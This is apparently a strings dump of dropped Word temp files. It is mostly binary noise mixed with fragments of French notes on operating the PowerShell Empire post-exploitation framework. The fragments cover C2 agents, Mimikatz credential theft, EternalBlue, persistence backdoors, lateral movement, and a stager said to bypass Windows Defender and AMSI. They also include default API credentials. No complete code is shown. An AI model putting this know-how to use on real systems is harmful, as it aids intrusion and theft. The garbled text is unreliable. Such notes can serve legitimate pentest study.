Ansi based on Dropped File (~WRD0001.tmp)

L!H0l0KMIL?7kEUE)bLIa#@9%B!9'-e<c:~1~KVzWEU4E/pb+X]}OG&46rL|D@ohuA!_/W{o[n9|6Q(I<d7g(.[uRIJU

Ansi based on Dropped File (~WRD0001.tmp)

l!|oC ?[I9[j

Ansi based on Dropped File (~WRD0001.tmp)

L#F#%!~"-_R*=9+vcv<_Oq?7VknasVn}D"5^u~e+Z]r(J!ZygBs++L2R?0R8MQ|rq{n$2\K%oT>J`s8zZ7427GI`}'[?.nl=D}!cXB`}6vg7Xiwqy0oXBl!W#c2#xG[pkN=vM{@LF[ohloOv|A

Ansi based on Dropped File (~WRD0001.tmp)

L%_pE%-,~I'd#ir,Qx5.R/n]+d?)$VY/[*H8pU1CQ1o?!A(B`)zei+GI`LOI}eP_pa{]B\CDJZ)1d%H8De.Ju]FfM"pEo)Ie@@^4e12f1B)@kQ~)

Ansi based on Dropped File (~WRD0001.tmp)

l&-c&xHW~kN$3X$gg(bjwRUgr:q4<G9pTWoa&~pqV$dI,:ZZTgfX)ga\sm[lGdW}n([F>89G:fU]Q{ W_oZG5XLr;3}"z7w?[n aO?T3"79J$ru5*&`@Wyfa01h|u}!n4>q[O]{n+_H

Ansi based on Dropped File (~WRD0001.tmp)

l&Eu2nM!$# h??Cj_s*`<_?GcC$EL'NVJu*chZNwmT~AZ=230rvlCn2jN&Le/OV;eFrn$4VE

Ansi based on Dropped File (~WRD0001.tmp)

L(v7o!9ZE/7RJW/4/r&7Nad-IsS&VEV8}lnOS{o{n{_>FqAwxn/J`wD@}rebnJ?Q29R2[[Wwzb6kO]2vgu>{:})CN*dc_gE

Ansi based on Dropped File (~WRD0001.tmp)

l*j:$?=[iL%_7g9ZGpe(

Ansi based on Dropped File (~WRD0001.tmp)

L+cbr@->QBOCk[X<q2F,Lv7SV,X6eL~R}`OuTz_gh8:

Ansi based on Dropped File (~WRD0001.tmp)

l+Z1UlMgY%jsW$q{8|1qpEcDD%D

Ansi based on Dropped File (~WRD0001.tmp)

L,9;,Oq!MFXIw[$]8tfs+X]}nA'Nh[#XkqF!w!n;OT[u_ck,QZ8w^X=>&W)/0

Ansi based on Dropped File (~WRD0001.tmp)

L,^zAC%\2L <ahK4adnP&.]/]F.6`Y'O7off& [}&&D8/!?G}y2bBBAqClq` )gDty&i$gy@8T<HXn?_;vS[l!"%{M8RU9hB7\",Y{15fcTLy5DY/^|wzj3Hmw:@CMC_|:`P43g'-_|'RSLIF7Ea!m&P1nRQA , 4BdD\\:K]Y uS~g+GaIfmP k%=#fAO@l!Zm'>1c+)n/^/G2%k!, r

Ansi based on Dropped File (~WRD0001.tmp)

l,JuA'b)9z.b:?E6i|-!

Ansi based on Dropped File (~WRD0001.tmp)

L-"K 9'u'

Ansi based on Dropped File (~WRD0001.tmp)

L-']DU#st9c}%L IuI*+b@A0#TI+_W%h-(6Cg&Pl%lm$K-J=W5Scrhy.b2;JJ{3!::w?)`&v:S^K&1Gsq|ci\NrP\j~#3SYOi={H&{*bATUyg]}g)#opNz%{0:^W

Ansi based on Dropped File (~WRD0001.tmp)

L.?|]K2zLZm^>4')-"P.BE@j<gBvz5\\^,2J*Ve2-wI0?cT^*|,C?qADBTLC;('?z#cS84/MTp?Z

Ansi based on Dropped File (~WRD0001.tmp)

L1>y=7yv[|jJK8Skdn_~;@$!f-ksf<W[}Wg`s[seR?DZ

Ansi based on Dropped File (~WRD0001.tmp)

l1d]4L)h

Ansi based on Dropped File (~WRD0001.tmp)

l1wXI7~B1&lC^wyj^~l)pY`1D00;1y%XMiT5L^ar

Ansi based on Dropped File (~WRD0001.tmp)

l4U|8,rv"=',F/y(j99Q#d\vo_O+5uN._C5>Sbrx

Ansi based on Dropped File (~WRD0001.tmp)

L6AiQimYGsT+

Ansi based on Dropped File (~WRD0001.tmp)

l6yJ2(yCG/_:NJY<Xt HLd;j:&a-7BELHf!E;@&Z:@<eR@AQ(u1Jz7Z6(o27>3qzu!_w[Y4dU9KA,Qu C_J/Dg_&%HF}v*

Ansi based on Dropped File (~WRD0001.tmp)

L9J7*u1C"3+,Er

Ansi based on Dropped File (~WRD0001.tmp)

L<#/iQ`o|Yt~QkymwVLs"uI\%A>Rt;|kSzqQ

Ansi based on Dropped File (~WRD0001.tmp)

l<PO@C_8E+tKH?RUt"%-:(qJ,O^9:ZvSO0TnzWhxN('k.y

Ansi based on Dropped File (~WRD0001.tmp)

L<X}$5t+S=JK\N#c'GQf[q1d+(((((((EgYYa\x7}9KpcOFmjZoSy}g'z.t]8&Z0gT2Ja-lqQ"}c.aW=Wz)^4z^d'}}XtKAh|(4

Ansi based on Dropped File (~WRD0001.tmp)

L<ZPa(*l+'2C$/,X

Ansi based on Dropped File (~WRD0001.tmp)

l<{Yb3^%Q':X0NcG&%<$qSh

Ansi based on Dropped File (~WRD0001.tmp)

L?wMc)+*qb,W6AZAj5h'La6]_u

Ansi based on Dropped File (~WRD0001.tmp)

l@7@f2[5k{ uW* !<}(%c&m>%R?g}A=Zll"XYxb;[M~}M>4F:cJc``AO0$|T_>2m&~ (7E)6fh4]?[k/Xz3=,o%]=2{~z

Ansi based on Dropped File (~WRD0001.tmp)

l@E ;1JIENDB`PK

Ansi based on Dropped File (~WRD0001.tmp)

L[%)eZ4[)4k6{=ijw-8Sl&JS/UEVX"Mh1^iq\/4.: ^^d=KlW\/?U%awa+AvU9`pWvFNf0Y!j?X 8>0(cmz+l#N~/oWG50pXjMw"<.y'suZwM8o^oPXiCOiZu-w2UK*\ckU5;%jUAZEku-%.1g]G\nhIiI?jcmV

Ansi based on Dropped File (~WRD0001.tmp)

l\`yymy1#=Rg/lW/!UzB_N8D7[Zg3xGqcWjG~;p#K-az~RG

Ansi based on Dropped File (~WRD0001.tmp)

L\zZiiza1IZpm^Yi/{Yf;B8[x(''az;=0[KtxFbHSK1-'xQA2*MB%HGPK!xhword/_rels/footnotes.xml.relsMO0H,"

Ansi based on Dropped File (~WRD0001.tmp)

La \\@DF>$a$gdRW$a$gdRWgdRWgd\)gdRWgd\)

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

La base de donnes contient les informations de 4:>:B:X:::::::::::$;4;J;;;*>>???

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

La cl utilise pour l ouverture de la session avec l x667477,::;*>>>>?????@x@@(AgdeXgdeXgdeXgdg$a$gd'#$a$gd4gdxgd!gd!

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

La recherche d un module ne peut tre faite au sein d un module. Dans un tel cas, on excuter la commande back, voire main pour rechercher un module;

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

La sortie brute de chaque module.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

La sortie est gnre par Out-String( laquelle on concatne une chane arbitraire) :

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

La whitelist/blacklist des IP des agents strictement autorises/interdites.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

la#H:?DII.aS|Gtw4m#

Ansi based on Dropped File (~WRD0001.tmp)

LA<84|:?bYh!N

Ansi based on Dropped File (~WRD0001.tmp)

Lancer des beeps successifs, ou une voix rrrrrrss8sLsdshsjsxsssssssssssssss$x8x:x<xLxxxxxyyy4y6yHylynyyyyyyyyyPzRzrztzzz{{hz>h

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

LAo03xuzVm`h?~8W+o,eIgOQmXvivui;>pW7

Ansi based on Dropped File (~WRD0001.tmp)

lateral_movement Pivt horizontal

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Launcher

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

la~y4'p7:f

Ansi based on Dropped File (~WRD0001.tmp)

Lc=v7s\}[gu{Y;

Ansi based on Dropped File (~WRD0001.tmp)

lCzn7eAMOY1Hum=

Ansi based on Dropped File (~WRD0001.tmp)

lD2C\D+T {:Fr)jD-8Tee;3vO'f3NkIDg')C$/.o!"D!Uq}0w,Prn;?>}b

Ansi based on Dropped File (~WRD0001.tmp)

Le backdoor n est applicable que sur le compte utilisateur compromis.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Le chemin de la base de donnes empire.db;

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Le chemin des modules peut varier en fonction du contexte d application (bien penser utiliser l auto-complteur <TAB>). Par exemple, le module demandant explicitement les droits administrateurs l agent a pour chemin:

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Le client peut arrter tous ses processus Powershell

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Le fichier suivant permet de configurer Empire

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

le framework PE n a pas un grand intrt si on peut dj tout faire avecMetasploit

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Le module allcheck demande normment de ressources (dure environ 20 secondes). Il va rechercher des failles dans les fichiers autorun, les fichiers de configuration, les PATH/DLL, & .

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Le module ask est moins discret, dans la mesure oil demande explicitement l utilisateur les droits administrateurs pour le processus PowerShell.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Le premier module excuter est celui de la duplication de l agent. En effet, on veut pouvoir garder la main sur un {{{~~~~~~"$68$,|~ "$&xz

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Le rpertoire de l agent enrl est celui dans lequel le payload PowerShell a t excut

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Le stager a pu bypass Windows Defender et l AMSI avec les paramtres ci-dessus.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Le$7xk<?M)!~z/z<{}Y[`m?4"[qwU C?'}s9!WhevTqWhei~y.n>$%Vp.><yN);O?j$y-HXQVKFP:/fCY3v^ <@.=p#.ZA

Ansi based on Dropped File (~WRD0001.tmp)

Leqll7GGoe<ny^W,z/zz:8_h(tYHgp(`(vl|3vU\*ROUhUh

Ansi based on Dropped File (~WRD0001.tmp)

Les agents actuellement connects au C2;

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Les creds (empireadmin:password123) afin d utiliser la RESTful API d Empire (e.g. via CrackMapExec) ;

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Les diffrentes catgories de modules (sans dpendances, standalone) sur Empire peuvent tre lists dans le dossier suivant

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Les logs d un agent sont stocks dans le fichier suivant

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Les modules de cette catgorie analysent les donnes rseaux, et potentiellement rcuprer des donnes sensibles (e.g. donnes partages avec GitHub)

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Les modules de cette catgorie atteignent, si possible, un haut privilge/haut niveau d intgrit. Les modules sont plus ou moins discrets, allant de la recherche de vulnrabilits (des moindres privilges), la demande explicite au client.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Les modules de cette catgorie grent l accs au client. Par exemple, powercat ouvrira un port client pour l attaquant, tandis que spawn (librairie) eee<hii`ibihixiiiNjPjjj

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Les modules de cette catgorie permettent l lvation de privilge horizontal, o l agent compromis parvient usurper l identit d un autre utilisateur. Cela est notamment possible via SSH.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Les modules de cette catgorie rcuprent de multiples informations sur l agent compromis (dtails systmes, numrations des htes, serveurs DNS, & ) ainsi que son rseau (scans ports/ARP, tickets Kerberos, BloodHound, & ). Notons que Powershell Empire est capable d invoquer BloodHound pour schmatiser l architecture d un domaine ( des fins de rebonds illgitimes).

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Les modules de cette catgorie rcuprent les credentials des comptes dans le systme de la victime. Cela via Mimikatz, PowerDump ou DomainPasswordSpray (sur les utilisateurs d un domaine).

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Les modules de cette catgorie sont des outils d exploitation, dont le fameux Exploit-EternalBlue.ps1.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Les modules de cette catgorie veulent rendre persistant l accs la machine compromise (installation d un backdoor). Que celle-ci soit allume, en veille ou teinte, l exploitation ne sera plus ncessaire pour accder l outil de post-exploitation.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Les modules de cette catgorieWn[[__haabcdd>hhjjllmnpDqr6rgdGgd`gdugdKtgd4(gdBgd,4]gd/gdBgdJ% rcuprent des donnes sensibles sur le systme de la victime. Par exemples, des modules fournissent les donnes d un navigateur (mot de passes non protgs, historique, & ), voire des configurations KeePass.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Les modules de PowerShell Empire sont rangs selon divers catgories.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Les modules suivants ncessitent un haut niveau de privilge (pas ncessairement DC, mais au moins un privilge administrateur utilisateur) et seul l agent doit tre spcifi.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Les modules(*,z@L2gdgdgd1gdbcgdDxKgd)9gd

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Les mots de passes utilisateurs rcuprs;

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Les nouvelles versions de Windows 10 (du moins >= 20H2) dtectent l enrlement d un ('P'p*t**f++++,x--11.2:2`2l22233d,-DM

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Les seconds modules $.@~&B>@gdmgdGgdNfgd})gdNfgd^gd\)gdggdhgdhgdHgd\)$a$gd

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Les solutions d vitement intgres Empire ne suffisent pas

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Les standalones PowerShell /usr/share/powershell-empire/data/module_source/

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Lf()Co8m) bYZ8?*n7yuU$|h*mE_e%cv]V>/oZ?|ul gL*ELi(!i?lh?-Gtp8G+6MIENDB`PK

Ansi based on Dropped File (~WRD0001.tmp)

lf-*68$>{|jL%N@b@~|{}K/?`He pT=R2@DU1e% V>NS^WvR IP>3c|g[tBb<v>UoS?`riGfr$phuO0^F4J5OqJ}l>g3u)sSJ

Ansi based on Dropped File (~WRD0001.tmp)

lG:v`Z6#|*k! y!"x=:USnMq\* R![OI#-=D>yff8gR[Efrc_-R_ar_='

Ansi based on Dropped File (~WRD0001.tmp)

lGv|pUz;U!}"qE?,'u#BF!|qMzD^)S=}j<Gid2m9Ewx(~UtR@iX~w%2"|M/

Ansi based on Dropped File (~WRD0001.tmp)

LHLOHm|DeX9&TF-09Ot>4@+.` [R,=Y-{6e/fKv'$t=x &W7Dwj~'{c8#?{e5F:NMy7%~@=v1knjL1Tg#E=$y`_6FpDvr

Ansi based on Dropped File (~WRD0001.tmp)

lhsLrm2N@K|\W

Ansi based on Dropped File (~WRD0001.tmp)

Lignes violettes: GPO (Group Policy Object)

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

list$&46r""4"@"`"b"j"""""#,#Z#\#^#f#p#r#########$$$$ $:$F$h$$$$$$h_Gch. B*phh

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

listeners

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Lit le module source (Invoke-Mimikatz.ps1);

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Ljh|&K^v%hQBTqEt%

Ansi based on Dropped File (~WRD0001.tmp)

ljiQ.3d@-/$>K$rZvO8?=8zXPAlic=6R~!^pe&P#P)0 dg_|K2/|k4.}Mv7kY2cwe#R>i@[fF

Ansi based on Dropped File (~WRD0001.tmp)

ll?)Cve+vc4[WK_& nBT_*i`Sf$V5R]| 7$Q.Jn|/zeWwg{QmG,opA=%C(l^h"p@8_\d=p"!b+!PQ4$j"wkW>gZxhn>cyTASU\<t}C]-:.fv'`&8 /6xoGxHx@(>FXp~+Ar85

Ansi based on Dropped File (~WRD0001.tmp)

lL?XHf7O_ i7<xq~aT6KX\;|s$iiq98[iu(w4@WOynx=n4MjGT|Owp?w)*!)DJR_Z|-53w$QQ1Di~

Ansi based on Dropped File (~WRD0001.tmp)

LmN%EbupYglxz}KaqxD

Ansi based on Dropped File (~WRD0001.tmp)

LM{@k809 L7D#EJ'8)6Ax1_S!f0L/iwL }j}4(;8)l#ZG|<

Ansi based on Dropped File (~WRD0001.tmp)

lne,DwUC_fO?joe!z@pF+<}3kBZ{=:\C|6X~P#D3Ef%<2Oso

Ansi based on Dropped File (~WRD0001.tmp)

lOvo>Ikh_S7:4_oA!Xk~Oa2UJ\>/`:4E\@Mc_;r<Lw_a_a-=.!dtt'JS'Qiw|HUFkwy?|+?6K(buc5Kr0.odF.U_z6}b:8j(n;t%

Ansi based on Dropped File (~WRD0001.tmp)

lP3Y|4+^b^gZ /`a@WgrNN;~w|bL7

Ansi based on Dropped File (~WRD0001.tmp)

lPiVMajDEFIVU'6/#a/BWOTu}OxF3?T#/Z

Ansi based on Dropped File (~WRD0001.tmp)

LrLLMMMq$jhF hF UmHnHsHuhKJhE+hGh;zh1+7h1+7h1+7hlYh?hffh

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

ls>^TZy8JUfK#`7ne,\y,)pW5t_[osJ=A\*"4w1V*W1WJgx!H[.1s^yn"suyF=y

Ansi based on Dropped File (~WRD0001.tmp)

LT3o[foWl+F3nd{>,}ngOxFyf;MtsJ:o3>Mh|X1OP>(S[1fFvQOvb\Y!?`EP/k+Z,h:MkQgBag<G^VMSkk4uEQxP2dl\?Q]"-8g-)O*y})r}&g<Ww749o_/,[1O>(/CL'O(u#]'ASyvqF+GKxx?#c>_^qj$.p_'&8.Gq=Z>u'3G}cj\\bS'q

Ansi based on Dropped File (~WRD0001.tmp)

lVusX5M/~egg{&UvUG8|=wh15

Ansi based on Dropped File (~WRD0001.tmp)

LwnY\5KN-g

Ansi based on Dropped File (~WRD0001.tmp)

lxu?}s"gkfZ.V!_^ju!3~

Ansi based on Dropped File (~WRD0001.tmp)

Lyl|UHa>b)|KXH64GAOw?cG80c8'!u}_el?smO%;{'q*q/\~/1 9Tkuo<E{:Q-riLdeEW@{C>(+^=r*sW[+<8_k=-zlhZA!]H4R_9rkRPPPPPPP8}~1@T>3*_S>^9NlB,1i$%s1b#)t_txR2FX/a7aqnVl3x}xvyUFaf~403

Ansi based on Dropped File (~WRD0001.tmp)

lZ01X,f@r"[twLSzzV1"bOAcO^i1b&L[d&s\9Um

Ansi based on Dropped File (~WRD0001.tmp)

L~o+>[^m;%Vt;]OF/AxbDRy=#<BG!"z+'

Ansi based on Dropped File (~WRD0001.tmp)

L~y0\AzS5

Ansi based on Dropped File (~WRD0001.tmp)

M `Z0GW\])VVhW4RhQwY#2^_}hl{2^L#cJv}]uPC[-tWy,uLN{ZQ>G0D-UjhOBKQo'X^LNib_wu 5;&*4B}vSho[2%+A+4U)v8N8qBc(;Bn[hTq~SShQvg.~f8:8_l=Ikh<%1]ug~*+P#0"*o?}YnMr/#a"Y<zyqcC)!@c%e%8m}MqCG&51eZNqE S7;#KkCi|BSJ~DM(PCjwz!8H0H|v

Ansi based on Dropped File (~WRD0001.tmp)

m!g!`%?h!C/p)3u@QIWhP%$3RKHmUuP?58R,V#$l

Ansi based on Dropped File (~WRD0001.tmp)

M"WWMyhZ6?4BCt&zqvMI;Fo{iB_3q 'E&=taa?P6MyhN

Ansi based on Dropped File (~WRD0001.tmp)

M%9n"xgP\OM2gX

Ansi based on Dropped File (~WRD0001.tmp)

m%mfV!j8^x?IA%0QuShgFFZs=}xGVPz*n~

Ansi based on Dropped File (~WRD0001.tmp)

M&Z8g|7.zK*nTxXU]EC7p^Vb=}|lV

Ansi based on Dropped File (~WRD0001.tmp)

m'>z{*rEa//\fa:_9Cg/vQxmU:QaIUP{w~Nyy0O/sK

Ansi based on Dropped File (~WRD0001.tmp)

M'?rYWEZ^<wP-<Tk!

Ansi based on Dropped File (~WRD0001.tmp)

m'\U+&iHR2x=,nd[.-0#p6uU:

Ansi based on Dropped File (~WRD0001.tmp)

M(N1,[6 WZ0ZZc

Ansi based on Dropped File (~WRD0001.tmp)

m)NR_/U=1[MP{wLVhOd{$fOP8j4>@?z 'LTa1Ln1Wla)|\m:V'xRwl>=W+}gW?k]>''NxWWoH6I~?.^!$fJ rCxn5L;/_{jRQ8&*MK^[*]W/)F{qD=O

Ansi based on Dropped File (~WRD0001.tmp)

m-/$@9rU_f0]G/ <[LvA0'.'w,L*Rw!ivU-YB66Ius&q|+xbd\v&fTgI:vUG/:0)c}Sd-h'qprl#tE\qdl

Ansi based on Dropped File (~WRD0001.tmp)

M-]fBrxuc'h;%+ )l&$,l(#L\Xdf"W4tf&&K#G]E>

Ansi based on Dropped File (~WRD0001.tmp)

m-nzy^a":~f78

Ansi based on Dropped File (~WRD0001.tmp)

m..9jG }F4w<_>{Jb ;23>5IgwG>#u\|{`T\ciO*GIa@C)Q$,\Bh/s]xwR~sW}Q1;5R5X'<N,v6]=k.),isG_*22222?534R\i_:/&&J):3hl/fCg%hA:Xlet#F

Ansi based on Dropped File (~WRD0001.tmp)

M.>SK25~imuyk|/.'w9AqI]he5;`d}U7PO>/,texhS@

Ansi based on Dropped File (~WRD0001.tmp)

M/i^){Jo5fL[)O9=R(&i-?_nGA1[(;OM-t"?VJrhcuF '5^,:l6'10_.g2f5IsN<&f

Ansi based on Dropped File (~WRD0001.tmp)

M/OGLYsfno{zIhU~\LB/ZGS

Ansi based on Dropped File (~WRD0001.tmp)

M/pD\yNrWVt&

Ansi based on Dropped File (~WRD0001.tmp)

m0;o{U|}V:,":R'R#C#u-R,k>*>(;}G]}8S4%q]$gtzGqS([tyyY5'9"(_O\!-m)O2&2M+,'4d0JPf=Tz1BpD]=~z~:aNcJ2zC+F~ApuWv

Ansi based on Dropped File (~WRD0001.tmp)

m1;[(>4AJUUf:.(-l.6F<8'Howqa<=

Ansi based on Dropped File (~WRD0001.tmp)

M1Hkq!:>!+me<KRKoS;4|q.

Ansi based on Dropped File (~WRD0001.tmp)

M2(_V;%8V)>aw!&zsB/_d,a

Ansi based on Dropped File (~WRD0001.tmp)

m23^i^^2yNyIYMuy+ID}z8rL;$h-~.>u zQ8:~)c#A

Ansi based on Dropped File (~WRD0001.tmp)

M3'5%rUX?_5?@yP3<.Y`<kL3MCaAN(r.=[SnrM3qRP

Ansi based on Dropped File (~WRD0001.tmp)

M3i(\o?Z%O^ ACyQ?{f~=Y}L6l@@-$A1.;a=2P*

Ansi based on Dropped File (~WRD0001.tmp)

M3of45N~RL0"v*L:zAQ68?S*SE#'TNSgw

Ansi based on Dropped File (~WRD0001.tmp)

m4 %hv|7;n=TcEm[ZY7;Av

Ansi based on Dropped File (~WRD0001.tmp)

m43QkVh_-^rV

Ansi based on Dropped File (~WRD0001.tmp)

M4juWGx{%69dQ,PLO."W;l6k::\BnrWdNO.N,a_W- /

Ansi based on Dropped File (~WRD0001.tmp)

m61orF2;R?

Ansi based on Dropped File (~WRD0001.tmp)

m6NAq2y%QG3n~RP*47~E,LQB

Ansi based on Dropped File (~WRD0001.tmp)

m6N|8`jsvLATV(n}mq]5e+GEg9]}l{2Qt_We_vpBMTrf_+SMnB~=S`EH`F?2dV[;"Au7o4Q]DvB{F&,~?\#wd"4rNx&?y%KWIOn=\V}aiQDvJ&8Ur<:dcw@ujV )5K50evf0)CUW2EDLOUd+,I!';P;>t|6K[Q9-efxgqpIEHZaWLs9|'zTan=Ug7?c"cbQ^o}[-G)TaWqwk!UJBkOZqNxBsP~\^?kiP?m, #E

Ansi based on Dropped File (~WRD0001.tmp)

m7oWzGU}H6oRMq3L{m:D}h+4i7;)_ci^_`3Y;;^jvm+(GTnK?TITn}G/{RPV^!d9]$(/Gm

Ansi based on Dropped File (~WRD0001.tmp)

M90W"/,23)Zud*H6@D;cA("We,nRl

Ansi based on Dropped File (~WRD0001.tmp)

m;37|pvlTP/~BS`4s0|jMUeGkUMUGATDg3g[mHK*b/'taJ2/pX9X)+)B_2eb5_9m4&1iW?0W'U~.%GgflTPG^eMf]X\ZYYc,a[)zw>Ee7:.V}][{MEn~^kU<8/k__jGA'I,^fb7WgE^~/Vxy_F}&zVZ^RZRt3Q[qUl]TYStd7sW,"/+eE.

Ansi based on Dropped File (~WRD0001.tmp)

m<.P}pm[m#|Jrse$^ht\4r_e,$w*u

Ansi based on Dropped File (~WRD0001.tmp)

m<[EWf;eXcx,nalXs,pU+VcN5Uc:.j[

Ansi based on Dropped File (~WRD0001.tmp)

m<n3jv1YE"HqQ1MWXQ^^}Q?V]r|BZ0'Dr^~^~yVd/PWh}77[b,q_\lHkhx[S%U:^bb/#'0@p1cC^M~)v-[&-inWc&u=r,v=YM'Eg/?l"qNEr0L3[`ps_ktmAZoEP?dc~'ulm61'?!4m{B;XgK

Ansi based on Dropped File (~WRD0001.tmp)

M>+=q`>=n_9&leN)Kko.UX(0''TUekBLs|z=e(TO~-,1#U]M;

Ansi based on Dropped File (~WRD0001.tmp)

M>/<sT/:>|38`6M%{aB7=>e?f=|NX5JkQ0+-e};yA".^.Fh+ONm/<+wGIz }-1'I90|HVQ6~%7+/a;klJ]Ky\}}816T }U P),tXucO0H>L<{#kB>YCa%$VzSnv*g2z0Zkoo&]!J\$#V~?H

Ansi based on Dropped File (~WRD0001.tmp)

m>=n_9&leNoYX(!^64Gx#^U)Hw[]ZUQZx/1\ld9XyaquUEqNX EkKr.3lWfNQEepMYC)rOO;gRi#Fi/{WRUg/1d_A)4vw^xRVS]^"JRt?UAKWu5E/6H,7xEh8?444-ECa6y|i1>sO%xXX:>J~k8{-?%h&%^F(G&syG{@nuLNl#\c]XX|ab($=T8Ds;A_(*c-x<gy{3Y|bo3*/>+Ahu+Gn(O?}Gsp{#,B(4"B7O6j%"G@+4B&wL?v

Ansi based on Dropped File (~WRD0001.tmp)

m?gX@9tOv|s};B4w!MB1S}@_gqw7g@Hyrc8.ODcYlj{B$1TK0p_%O]'Af&GTcCHIS5S3X

Ansi based on Dropped File (~WRD0001.tmp)

M?h,<dv]VKMt`Upwk"N-B*-P54Mz8NhJ=TThXw=5'Th*j

Ansi based on Dropped File (~WRD0001.tmp)

M?HLGLD,ich>67Y#_*o2KY

Ansi based on Dropped File (~WRD0001.tmp)

m?oK"#|[?Z;SRRi?ve}{SEaG?%iAz}-~G5;iB?zetAGu}<~~BkT\3G(8M-j7MrnIZkD,yzyQ%si?+3'~v|,<{'U_OLs|}+?/o]+}W+<['lYzAQxqw)7g$FV4o )?Z(:{o_NT>ET}?v:?|6^|:wY?n7gG)r?rUF/~c]k^j@V|WGi0

Ansi based on Dropped File (~WRD0001.tmp)

M@:!S%;5cq"\[L9S2NF$8 @M'xz]_/`41L~l@'S2&}S+my*B]r;?q"P7lv5%-+w;6|g`lQbyXydqvf27/:\95bO}#

Ansi based on Dropped File (~WRD0001.tmp)

M@xFW/^:8g?PHxf#Zq7NKg8W[q1UZr(n+?fw4Z~)4MG{kh'Yyg7&7S^^Iz[RBwz!}:)?l^&!AkT_WZN

Ansi based on Dropped File (~WRD0001.tmp)

m[^$QYM+W4j()h&}z^95%|zF!nB@#e\!nnnqGvCb2bnl;A0g9cRSx98BBSGm?IC8W7Y+a/HE@#WJF1H_#U&~>^gRG7W=s&zi'

Ansi based on Dropped File (~WRD0001.tmp)

m[FE5e^-:9\EYzW7+ixpj%SVY 5~pyDl=_E"UxOh%[DDQPL_>vE!]!wh

Ansi based on Dropped File (~WRD0001.tmp)

M[X*N8knu`?,sIZyL?sFq:/z!{(JPG;&K@DhXn[@l`zV5$!trLrI=r\:1_:D,t|][w:uuq1Gm)G2;pV-C>6'{p.t>cnrY49.cC]NBWwCR4=C"|t,DjXFy8gJ%CKC7-di>^O<

Ansi based on Dropped File (~WRD0001.tmp)

m]-rs[RtMM???s%m

Ansi based on Dropped File (~WRD0001.tmp)

M]z]v7o5q=.~X*td6

